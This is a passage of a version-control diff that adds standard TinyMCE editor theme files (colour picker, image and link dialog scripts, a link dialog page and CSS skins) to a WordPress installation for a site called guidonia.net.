+	if (el.className == 'generated')
+		return;
+
+	for (n in named) {
+		v = named[n];
+		h += '<a href="javascript:insertAction();" onmouseover="showColor(\'' + n +  '\',\'' + v + '\');" style="background-color: ' + n + '"><!-- IE --></a>'
+	}
+
+	el.innerHTML = h;
+	el.className = 'generated';
+}
+
+function dechex(n) {
+	return strhex.charAt(Math.floor(n / 16)) + strhex.charAt(n % 16);
+}
+
+function computeColor(e) {
+	var x, y, partWidth, partDetail, imHeight, r, g, b, coef, i, finalCoef, finalR, finalG, finalB;
+
+	x = e.offsetX ? e.offsetX : (e.target ? e.clientX - e.target.x : 0);
+	y = e.offsetY ? e.offsetY : (e.target ? e.clientY - e.target.y : 0);
+
+	partWidth = document.getElementById('colors').width / 6;
+	partDetail = detail / 2;
+	imHeight = document.getElementById('colors').height;
+
+	r = (x >= 0)*(x < partWidth)*255 + (x >= partWidth)*(x < 2*partWidth)*(2*255 - x * 255 / partWidth) + (x >= 4*partWidth)*(x < 5*partWidth)*(-4*255 + x * 255 / partWidth) + (x >= 5*partWidth)*(x < 6*partWidth)*255;
+	g = (x >= 0)*(x < partWidth)*(x * 255 / partWidth) + (x >= partWidth)*(x < 3*partWidth)*255	+ (x >= 3*partWidth)*(x < 4*partWidth)*(4*255 - x * 255 / partWidth);
+	b = (x >= 2*partWidth)*(x < 3*partWidth)*(-2*255 + x * 255 / partWidth) + (x >= 3*partWidth)*(x < 5*partWidth)*255 + (x >= 5*partWidth)*(x < 6*partWidth)*(6*255 - x * 255 / partWidth);
+
+	coef = (imHeight - y) / imHeight;
+	r = 128 + (r - 128) * coef;
+	g = 128 + (g - 128) * coef;
+	b = 128 + (b - 128) * coef;
+
+	changeFinalColor('#' + dechex(r) + dechex(g) + dechex(b));
+	updateLight(r, g, b);
+}
+
+function updateLight(r, g, b) {
+	var i, partDetail = detail / 2, finalCoef, finalR, finalG, finalB, color;
+
+	for (i=0; i<detail; i++) {
+		if ((i>=0) && (i<partDetail)) {
+			finalCoef = i / partDetail;
+			finalR = dechex(255 - (255 - r) * finalCoef);
+			finalG = dechex(255 - (255 - g) * finalCoef);
+			finalB = dechex(255 - (255 - b) * finalCoef);
+		} else {
+			finalCoef = 2 - i / partDetail;
+			finalR = dechex(r * finalCoef);
+			finalG = dechex(g * finalCoef);
+			finalB = dechex(b * finalCoef);
+		}
+
+		color = finalR + finalG + finalB;
+
+		setCol('gs' + i, '#'+color);
+	}
+}
+
+function changeFinalColor(color) {
+	if (color.indexOf('#') == -1)
+		color = convertRGBToHex(color);
+
+	setCol('preview', color);
+	document.getElementById('color').value = color;
+}
+
+function setCol(e, c) {
+	try {
+		document.getElementById(e).style.backgroundColor = c;
+	} catch (ex) {
+		// Ignore IE warning
+	}
+}
+
+tinyMCEPopup.onInit.add(init);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/image.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/image.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/image.js	(revision 44)
@@ -0,0 +1,254 @@
+var ImageDialog = {
+	preInit : function() {
+		var url;
+
+		tinyMCEPopup.requireLangPack();
+
+		if (url = tinyMCEPopup.getParam("external_image_list_url"))
+			document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>');
+	},
+
+	init : function() {
+		var f = document.forms[0], ed = tinyMCEPopup.editor;
+
+		// Setup browse button
+		document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image');
+		if (isVisible('srcbrowser'))
+			document.getElementById('src').style.width = '180px';
+
+		e = ed.selection.getNode();
+
+		this.fillFileList('image_list', 'tinyMCEImageList');
+
+		if (e.nodeName == 'IMG') {
+			f.src.value = ed.dom.getAttrib(e, 'src');
+			f.alt.value = ed.dom.getAttrib(e, 'alt');
+			f.border.value = this.getAttrib(e, 'border');
+			f.vspace.value = this.getAttrib(e, 'vspace');
+			f.hspace.value = this.getAttrib(e, 'hspace');
+			f.width.value = ed.dom.getAttrib(e, 'width');
+			f.height.value = ed.dom.getAttrib(e, 'height');
+			f.insert.value = ed.getLang('update');
+			f.class_name.value = ed.dom.getAttrib(e, 'class');
+			this.styleVal = ed.dom.getAttrib(e, 'style');
+			selectByValue(f, 'image_list', f.src.value);
+			selectByValue(f, 'align', this.getAttrib(e, 'align'));
+			this.updateStyle();
+		}
+	},
+
+	fillFileList : function(id, l) {
+		var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl;
+
+		l = window[l];
+
+		if (l && l.length > 0) {
+			lst.options[lst.options.length] = new Option('', '');
+
+			tinymce.each(l, function(o) {
+				lst.options[lst.options.length] = new Option(o[0], o[1]);
+			});
+		} else
+			dom.remove(dom.getParent(id, 'tr'));
+	},
+
+	update : function() {
+		var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, args = {}, el;
+
+		tinyMCEPopup.restoreSelection();
+
+		if (f.src.value === '') {
+			if (ed.selection.getNode().nodeName == 'IMG') {
+				ed.dom.remove(ed.selection.getNode());
+				ed.execCommand('mceRepaint');
+			}
+
+			tinyMCEPopup.close();
+			return;
+		}
+
+		if (!ed.settings.inline_styles) {
+			args = tinymce.extend(args, {
+				vspace : nl.vspace.value,
+				hspace : nl.hspace.value,
+				border : nl.border.value,
+				align : getSelectValue(f, 'align')
+			});
+		} else
+			args.style = this.styleVal;
+
+		tinymce.extend(args, {
+			src : f.src.value,
+			alt : f.alt.value,
+			width : f.width.value,
+			height : f.height.value,
+			'class' : f.class_name.value
+		});
+
+		el = ed.selection.getNode();
+
+		if (el && el.nodeName == 'IMG') {
+			ed.dom.setAttribs(el, args);
+		} else {
+			ed.execCommand('mceInsertContent', false, '<img id="__mce_tmp" />', {skip_undo : 1});
+			ed.dom.setAttribs('__mce_tmp', args);
+			ed.dom.setAttrib('__mce_tmp', 'id', '');
+			ed.undoManager.add();
+		}
+
+		tinyMCEPopup.close();
+	},
+
+	updateStyle : function() {
+		var dom = tinyMCEPopup.dom, st, v, cls, oldcls, rep, f = document.forms[0];
+
+		if (tinyMCEPopup.editor.settings.inline_styles) {
+			st = tinyMCEPopup.dom.parseStyle(this.styleVal);
+
+			// Handle align
+			v = getSelectValue(f, 'align');
+			cls = f.class_name.value || '';
+			cls = cls ? cls.replace(/alignright\s*|alignleft\s*|aligncenter\s*/g, '') : '';
+			cls = cls ? cls.replace(/^\s*(.+?)\s*$/, '$1') : '';
+			if (v) {
+				if (v == 'left' || v == 'right') {
+					st['float'] = v;
+					delete st['vertical-align'];
+					oldcls = cls ? ' '+cls : '';
+					f.class_name.value = 'align' + v + oldcls;
+				} else {
+					st['vertical-align'] = v;
+					delete st['float'];
+					f.class_name.value = cls;
+				}
+			} else {
+				delete st['float'];
+				delete st['vertical-align'];
+				f.class_name.value = cls;
+			}
+
+			// Handle border
+			v = f.border.value;
+			if (v || v == '0') {
+				if (v == '0')
+					st['border'] = '0';
+				else
+					st['border'] = v + 'px solid black';
+			} else
+				delete st['border'];
+
+			// Handle hspace
+			v = f.hspace.value;
+			if (v) {
+				delete st['margin'];
+				st['margin-left'] = v + 'px';
+				st['margin-right'] = v + 'px';
+			} else {
+				delete st['margin-left'];
+				delete st['margin-right'];
+			}
+
+			// Handle vspace
+			v = f.vspace.value;
+			if (v) {
+				delete st['margin'];
+				st['margin-top'] = v + 'px';
+				st['margin-bottom'] = v + 'px';
+			} else {
+				delete st['margin-top'];
+				delete st['margin-bottom'];
+			}
+
+			// Merge
+			st = tinyMCEPopup.dom.parseStyle(dom.serializeStyle(st));
+			this.styleVal = dom.serializeStyle(st);
+		}
+	},
+
+	getAttrib : function(e, at) {
+		var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2;
+
+		if (ed.settings.inline_styles) {
+			switch (at) {
+				case 'align':
+					if (v = dom.getStyle(e, 'float'))
+						return v;
+
+					if (v = dom.getStyle(e, 'vertical-align'))
+						return v;
+
+					break;
+
+				case 'hspace':
+					v = dom.getStyle(e, 'margin-left')
+					v2 = dom.getStyle(e, 'margin-right');
+					if (v && v == v2)
+						return parseInt(v.replace(/[^0-9]/g, ''));
+
+					break;
+
+				case 'vspace':
+					v = dom.getStyle(e, 'margin-top')
+					v2 = dom.getStyle(e, 'margin-bottom');
+					if (v && v == v2)
+						return parseInt(v.replace(/[^0-9]/g, ''));
+
+					break;
+
+				case 'border':
+					v = 0;
+
+					tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) {
+						sv = dom.getStyle(e, 'border-' + sv + '-width');
+
+						// False or not the same as prev
+						if (!sv || (sv != v && v !== 0)) {
+							v = 0;
+							return false;
+						}
+
+						if (sv)
+							v = sv;
+					});
+
+					if (v)
+						return parseInt(v.replace(/[^0-9]/g, ''));
+
+					break;
+			}
+		}
+
+		if (v = dom.getAttrib(e, at))
+			return v;
+
+		return '';
+	},
+
+	resetImageData : function() {
+		var f = document.forms[0];
+
+		f.width.value = f.height.value = "";	
+	},
+
+	updateImageData : function() {
+		var f = document.forms[0], t = ImageDialog;
+
+		if (f.width.value == "")
+			f.width.value = t.preloadImg.width;
+
+		if (f.height.value == "")
+			f.height.value = t.preloadImg.height;
+	},
+
+	getImageData : function() {
+		var f = document.forms[0];
+
+		this.preloadImg = new Image();
+		this.preloadImg.onload = this.updateImageData;
+		this.preloadImg.onerror = this.resetImageData;
+		this.preloadImg.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.src.value);
+	}
+};
+
+ImageDialog.preInit();
+tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/link.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/link.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/link.js	(revision 44)
@@ -0,0 +1,156 @@
+tinyMCEPopup.requireLangPack();
+
+var LinkDialog = {
+	preInit : function() {
+		var url;
+
+		if (url = tinyMCEPopup.getParam("external_link_list_url"))
+			document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>');
+	},
+
+	init : function() {
+		var f = document.forms[0], ed = tinyMCEPopup.editor;
+
+		// Setup browse button
+		document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser', 'href', 'file', 'theme_advanced_link');
+		if (isVisible('hrefbrowser'))
+			document.getElementById('href').style.width = '180px';
+
+		this.fillClassList('class_list');
+		this.fillFileList('link_list', 'tinyMCELinkList');
+		this.fillTargetList('target_list');
+
+		if (e = ed.dom.getParent(ed.selection.getNode(), 'A')) {
+			f.href.value = ed.dom.getAttrib(e, 'href');
+			f.linktitle.value = ed.dom.getAttrib(e, 'title');
+			f.insert.value = ed.getLang('update');
+			selectByValue(f, 'link_list', f.href.value);
+			selectByValue(f, 'target_list', ed.dom.getAttrib(e, 'target'));
+			selectByValue(f, 'class_list', ed.dom.getAttrib(e, 'class'));
+		}
+	},
+
+	update : function() {
+		var f = document.forms[0], ed = tinyMCEPopup.editor, e, b;
+
+		tinyMCEPopup.restoreSelection();
+		e = ed.dom.getParent(ed.selection.getNode(), 'A');
+
+		// Remove element if there is no href
+		if (!f.href.value) {
+			if (e) {
+				tinyMCEPopup.execCommand("mceBeginUndoLevel");
+				b = ed.selection.getBookmark();
+				ed.dom.remove(e, 1);
+				ed.selection.moveToBookmark(b);
+				tinyMCEPopup.execCommand("mceEndUndoLevel");
+				tinyMCEPopup.close();
+				return;
+			}
+		}
+
+		tinyMCEPopup.execCommand("mceBeginUndoLevel");
+
+		// Create new anchor elements
+		if (e == null) {
+			ed.getDoc().execCommand("unlink", false, null);
+			tinyMCEPopup.execCommand("CreateLink", false, "#mce_temp_url#", {skip_undo : 1});
+
+			tinymce.each(ed.dom.select("a"), function(n) {
+				if (ed.dom.getAttrib(n, 'href') == '#mce_temp_url#') {
+					e = n;
+
+					ed.dom.setAttribs(e, {
+						href : f.href.value,
+						title : f.linktitle.value,
+						target : f.target_list ? f.target_list.options[f.target_list.selectedIndex].value : null,
+						'class' : f.class_list ? f.class_list.options[f.class_list.selectedIndex].value : null
+					});
+				}
+			});
+		} else {
+			ed.dom.setAttribs(e, {
+				href : f.href.value,
+				title : f.linktitle.value,
+				target : f.target_list ? f.target_list.options[f.target_list.selectedIndex].value : null,
+				'class' : f.class_list ? f.class_list.options[f.class_list.selectedIndex].value : null
+			});
+		}
+
+		// Don't move caret if selection was image
+		if (e.childNodes.length != 1 || e.firstChild.nodeName != 'IMG') {
+			ed.focus();
+			ed.selection.select(e);
+			ed.selection.collapse(0);
+			tinyMCEPopup.storeSelection();
+		}
+
+		tinyMCEPopup.execCommand("mceEndUndoLevel");
+		tinyMCEPopup.close();
+	},
+
+	checkPrefix : function(n) {
+		if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_email')))
+			n.value = 'mailto:' + n.value;
+
+		if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_external')))
+			n.value = 'http://' + n.value;
+	},
+
+	fillFileList : function(id, l) {
+		var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl;
+
+		l = window[l];
+
+		if (l && l.length > 0) {
+			lst.options[lst.options.length] = new Option('', '');
+
+			tinymce.each(l, function(o) {
+				lst.options[lst.options.length] = new Option(o[0], o[1]);
+			});
+		} else
+			dom.remove(dom.getParent(id, 'tr'));
+	},
+
+	fillClassList : function(id) {
+		var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl;
+
+		if (v = tinyMCEPopup.getParam('theme_advanced_styles')) {
+			cl = [];
+
+			tinymce.each(v.split(';'), function(v) {
+				var p = v.split('=');
+
+				cl.push({'title' : p[0], 'class' : p[1]});
+			});
+		} else
+			cl = tinyMCEPopup.editor.dom.getClasses();
+
+		if (cl.length > 0) {
+			lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), '');
+
+			tinymce.each(cl, function(o) {
+				lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']);
+			});
+		} else
+			dom.remove(dom.getParent(id, 'tr'));
+	},
+
+	fillTargetList : function(id) {
+		var dom = tinyMCEPopup.dom, lst = dom.get(id), v;
+
+		lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), '');
+		lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_same'), '_self');
+		lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_blank'), '_blank');
+
+		if (v = tinyMCEPopup.getParam('theme_advanced_link_targets')) {
+			tinymce.each(v.split(','), function(v) {
+				v = v.split('=');
+				lst.options[lst.options.length] = new Option(v[0], v[1]);
+			});
+		}
+	}
+};
+
+LinkDialog.preInit();
+tinyMCEPopup.onInit.add(LinkDialog.init, LinkDialog);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/source_editor.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/source_editor.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/source_editor.js	(revision 44)
@@ -0,0 +1,62 @@
+tinyMCEPopup.requireLangPack();
+tinyMCEPopup.onInit.add(onLoadInit);
+
+function saveContent() {
+	tinyMCEPopup.editor.setContent(document.getElementById('htmlSource').value, {source_view : true});
+	tinyMCEPopup.close();
+}
+
+function onLoadInit() {
+	tinyMCEPopup.resizeToInnerSize();
+
+	// Remove Gecko spellchecking
+	if (tinymce.isGecko)
+		document.body.spellcheck = tinyMCEPopup.editor.getParam("gecko_spellcheck");
+
+	document.getElementById('htmlSource').value = tinyMCEPopup.editor.getContent({source_view : true});
+
+	if (tinyMCEPopup.editor.getParam("theme_advanced_source_editor_wrap", true)) {
+		setWrap('soft');
+		document.getElementById('wraped').checked = true;
+	}
+
+	resizeInputs();
+}
+
+function setWrap(val) {
+	var v, n, s = document.getElementById('htmlSource');
+
+	s.wrap = val;
+
+	if (!tinymce.isIE) {
+		v = s.value;
+		n = s.cloneNode(false);
+		n.setAttribute("wrap", val);
+		s.parentNode.replaceChild(n, s);
+		n.value = v;
+	}
+}
+
+function toggleWordWrap(elm) {
+	if (elm.checked)
+		setWrap('soft');
+	else
+		setWrap('off');
+}
+
+var wHeight=0, wWidth=0, owHeight=0, owWidth=0;
+
+function resizeInputs() {
+	var el = document.getElementById('htmlSource');
+
+	if (!tinymce.isIE) {
+		 wHeight = self.innerHeight - 65;
+		 wWidth = self.innerWidth - 16;
+	} else {
+		 wHeight = document.body.clientHeight - 70;
+		 wWidth = document.body.clientWidth - 16;
+	}
+
+	el.style.height = Math.abs(wHeight) + 'px';
+	el.style.width  = Math.abs(wWidth) + 'px';
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/link.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/link.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/link.htm	(revision 44)
@@ -0,0 +1,63 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>{#advanced_dlg.link_title}</title>
+	<script type="text/javascript" src="../../tiny_mce_popup.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="../../utils/mctabs.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="../../utils/form_utils.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="../../utils/validate.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="js/link.js?ver=3241-1141"></script>
+</head>
+<body id="link" style="display: none">
+<form onsubmit="LinkDialog.update();return false;" action="#">
+	<div class="tabs">
+		<ul>
+			<li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advanced_dlg.link_title}</a></span></li>
+		</ul>
+	</div>
+
+	<div class="panel_wrapper">
+		<div id="general_panel" class="panel current">
+
+		<table border="0" cellpadding="4" cellspacing="0">
+          <tr>
+            <td class="nowrap"><label for="href">{#advanced_dlg.link_url}</label></td>
+            <td><table border="0" cellspacing="0" cellpadding="0"> 
+				  <tr> 
+					<td><input id="href" name="href" type="text" class="mceFocus" value="http://" style="width: 200px" onfocus="try{this.select();}catch(e){}" /></td> 
+					<td id="hrefbrowsercontainer">&nbsp;</td>
+				  </tr> 
+				</table></td>
+          </tr>
+		  <tr>
+			<td><label for="link_list">{#advanced_dlg.link_list}</label></td>
+			<td><select id="link_list" name="link_list" onchange="document.getElementById('href').value=this.options[this.selectedIndex].value;"></select></td>
+		  </tr>
+		<tr>
+			<td><label id="targetlistlabel" for="targetlist">{#advanced_dlg.link_target}</label></td>
+			<td><select id="target_list" name="target_list"></select></td>
+		</tr>
+          <tr>
+            <td class="nowrap"><label for="linktitle">{#advanced_dlg.link_titlefield}</label></td>
+            <td><input id="linktitle" name="linktitle" type="text" value="" style="width: 200px" /></td>
+          </tr>
+			<tr>
+				<td><label for="class_list">{#class_name}</label></td>
+				<td><select id="class_list" name="class_list"></select></td>
+			</tr>
+        </table>
+		</div>
+	</div>
+
+	<div class="mceActionPanel">
+		<div style="float: left">
+			<input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" />
+		</div>
+
+		<div style="float: right">
+			<input type="submit" id="insert" name="insert" value="{#insert}" />
+		</div>
+	</div>
+</form>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/default/content.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/default/content.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/default/content.css	(revision 44)
@@ -0,0 +1,32 @@
+body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;}
+body {background:#FFF;}
+body.mceForceColors {background:#FFF; color:#000;}
+h1 {font-size: 2em}
+h2 {font-size: 1.5em}
+h3 {font-size: 1.17em}
+h4 {font-size: 1em}
+h5 {font-size: .83em}
+h6 {font-size: .75em}
+.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;}
+a.mceItemAnchor {width:12px; line-height:6px; overflow:hidden; padding-left:12px; background:url(img/items.gif) no-repeat bottom left;}
+img.mceItemAnchor {width:12px; height:12px; background:url(img/items.gif) no-repeat;}
+img {border:0;}
+table {cursor:default}
+table td, table th {cursor:text}
+ins {border-bottom:1px solid green; text-decoration: none; color:green}
+del {color:red; text-decoration:line-through}
+cite {border-bottom:1px dashed blue}
+acronym {border-bottom:1px dotted #CCC; cursor:help}
+abbr, html\:abbr {border-bottom:1px dashed #CCC; cursor:help}
+
+/* IE */
+* html body {
+scrollbar-3dlight-color:#F0F0EE;
+scrollbar-arrow-color:#676662;
+scrollbar-base-color:#F0F0EE;
+scrollbar-darkshadow-color:#DDD;
+scrollbar-face-color:#E0E0DD;
+scrollbar-highlight-color:#F0F0EE;
+scrollbar-shadow-color:#F0F0EE;
+scrollbar-track-color:#F5F5F5;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/default/dialog.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/default/dialog.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/default/dialog.css	(revision 44)
@@ -0,0 +1,116 @@
+/* Generic */
+body {
+font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px;
+scrollbar-3dlight-color:#F0F0EE;
+scrollbar-arrow-color:#676662;
+scrollbar-base-color:#F0F0EE;
+scrollbar-darkshadow-color:#DDDDDD;
+scrollbar-face-color:#E0E0DD;
+scrollbar-highlight-color:#F0F0EE;
+scrollbar-shadow-color:#F0F0EE;
+scrollbar-track-color:#F5F5F5;
+background:#F0F0EE;
+padding:0;
+margin:8px 8px 0 8px;
+}
+
+html {background:#F0F0EE;}
+td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;}
+textarea {resize:none;outline:none;}
+a:link, a:visited {color:black;}
+a:hover {color:#2B6FB6;}
+.nowrap {white-space: nowrap}
+
+/* Forms */
+fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;}
+legend {color:#2B6FB6; font-weight:bold;}
+label.msg {display:none;}
+label.invalid {color:#EE0000; display:inline;}
+input.invalid {border:1px solid #EE0000;}
+input {background:#FFF; border:1px solid #CCC;}
+input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;}
+input, select, textarea {border:1px solid #808080;}
+input.radio {border:1px none #000000; background:transparent; vertical-align:middle;}
+input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;}
+.input_noborder {border:0;}
+
+/* Buttons */
+#insert, #cancel, input.button, .updateButton {
+border:0; margin:0; padding:0;
+font-weight:bold;
+width:94px; height:26px;
+background:url(img/buttons.png) 0 -26px;
+cursor:pointer;
+padding-bottom:2px;
+}
+
+#insert {background:url(img/buttons.png) 0 -52px;}
+#cancel {background:url(img/buttons.png) 0 0;}
+
+/* Browse */
+a.pickcolor, a.browse {text-decoration:none}
+a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;}
+.mceOldBoxModel a.browse span {width:22px; height:20px;}
+a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;}
+a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)}
+a.browse:hover span.disabled {border:1px solid white; background-color:transparent;}
+a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;}
+.mceOldBoxModel a.pickcolor span {width:21px; height:17px;}
+a.pickcolor:hover span {background-color:#B2BBD0;}
+a.pickcolor:hover span.disabled {}
+
+/* Charmap */
+table.charmap {border:1px solid #AAA; text-align:center}
+td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;}
+#charmap a {display:block; color:#000; text-decoration:none; border:0}
+#charmap a:hover {background:#CCC;color:#2B6FB6}
+#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center}
+#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center}
+
+/* Source */
+.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;}
+.mceActionPanel {margin-top:5px;}
+
+/* Tabs classes */
+.tabs {width:100%; height:18px; line-height:normal; background:url(img/tabs.gif) repeat-x 0 -72px;}
+.tabs ul {margin:0; padding:0; list-style:none;}
+.tabs li {float:left; background:url(img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;}
+.tabs li.current {background:url(img/tabs.gif) no-repeat 0 -18px; margin-right:2px;}
+.tabs span {float:left; display:block; background:url(img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;}
+.tabs .current span {background:url(img/tabs.gif) no-repeat right -54px;}
+.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;}
+.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;}
+
+/* Panels */
+.panel_wrapper div.panel {display:none;}
+.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;}
+.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;}
+
+/* Columns */
+.column {float:left;}
+.properties {width:100%;}
+.properties .column1 {}
+.properties .column2 {text-align:left;}
+
+/* Titles */
+h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;}
+h3 {font-size:14px;}
+.title {font-size:12px; font-weight:bold; color:#2B6FB6;}
+
+/* Dialog specific */
+#link .panel_wrapper, #link div.current {height:125px;}
+#image .panel_wrapper, #image div.current {height:200px;}
+#plugintable thead {font-weight:bold; background:#DDD;}
+#plugintable, #about #plugintable td {border:1px solid #919B9C;}
+#plugintable {width:96%; margin-top:10px;}
+#pluginscontainer {height:290px; overflow:auto;}
+#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;}
+#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;}
+#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;}
+#colorpicker #light div {overflow:hidden;}
+#colorpicker #previewblock {float:right; padding-left:10px; height:20px;}
+#colorpicker .panel_wrapper div.current {height:175px;}
+#colorpicker #namedcolors {width:150px;}
+#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;}
+#colorpicker #colornamecontainer {margin-top:5px;}
+#colorpicker #picker_panel fieldset {margin:auto;width:325px;}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/default/ui.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/default/ui.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/default/ui.css	(revision 44)
@@ -0,0 +1,214 @@
+/* Reset */
+.defaultSkin table, .defaultSkin tbody, .defaultSkin a, .defaultSkin img, .defaultSkin tr, .defaultSkin div, .defaultSkin td, .defaultSkin iframe, .defaultSkin span, .defaultSkin *, .defaultSkin .mceText {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000; vertical-align:baseline; width:auto; border-collapse:separate; text-align:left}
+.defaultSkin a:hover, .defaultSkin a:link, .defaultSkin a:visited, .defaultSkin a:active {text-decoration:none; font-weight:normal; cursor:default; color:#000}
+.defaultSkin table td {vertical-align:middle}
+
+/* Containers */
+.defaultSkin table {background:#F0F0EE}
+.defaultSkin iframe {display:block; background:#FFF}
+.defaultSkin .mceToolbar {height:26px}
+.defaultSkin .mceLeft {text-align:left}
+.defaultSkin .mceRight {text-align:right}
+
+/* External */
+.defaultSkin .mceExternalToolbar {position:absolute; border:1px solid #CCC; border-bottom:0; display:none;}
+.defaultSkin .mceExternalToolbar td.mceToolbar {padding-right:13px;}
+.defaultSkin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0}
+
+/* Layout */
+.defaultSkin table.mceLayout {border:0; border-left:1px solid #CCC; border-right:1px solid #CCC}
+.defaultSkin table.mceLayout tr.mceFirst td {border-top:1px solid #CCC}
+.defaultSkin table.mceLayout tr.mceLast td {border-bottom:1px solid #CCC}
+.defaultSkin table.mceToolbar, .defaultSkin tr.mceFirst .mceToolbar tr td, .defaultSkin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0;}
+.defaultSkin td.mceToolbar {padding-top:1px; vertical-align:top}
+.defaultSkin .mceIframeContainer {border-top:1px solid #CCC; border-bottom:1px solid #CCC}
+.defaultSkin .mceStatusbar {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:9pt; line-height:16px; overflow:visible; color:#000; display:block; height:20px}
+.defaultSkin .mceStatusbar div {float:left; margin:2px}
